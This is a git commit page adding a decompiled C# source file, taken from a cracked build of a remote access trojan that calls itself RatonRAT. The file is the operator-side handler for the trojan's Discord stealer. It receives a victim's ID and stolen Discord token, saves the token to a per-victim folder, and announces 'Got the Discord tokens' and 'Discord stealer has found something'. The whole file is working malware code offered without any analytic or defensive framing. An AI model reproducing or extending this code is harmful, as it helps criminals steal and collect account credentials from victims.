initial commit
This commit is contained in:
@@ -0,0 +1,39 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleDiscord
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleDiscord
|
||||
{
|
||||
public HandleDiscord(SillyClient client, Unpack unpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
string asString1 = unpack.GetAsString("UID");
|
||||
string asString2 = unpack.GetAsString("Token");
|
||||
if (string.IsNullOrEmpty(asString1) || string.IsNullOrEmpty(asString2))
|
||||
return;
|
||||
string str1 = Path.Combine(Program.ClientsFolder, asString1);
|
||||
if (!Directory.Exists(str1))
|
||||
Directory.CreateDirectory(str1);
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
string filePath = Path.Combine(str1, $"DiscordTokens_{str2}.txt");
|
||||
File.WriteAllText(filePath, asString2);
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) ("Got the Discord tokens: " + filePath), (object) System.Drawing.Color.LightGreen)));
|
||||
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nDiscord stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user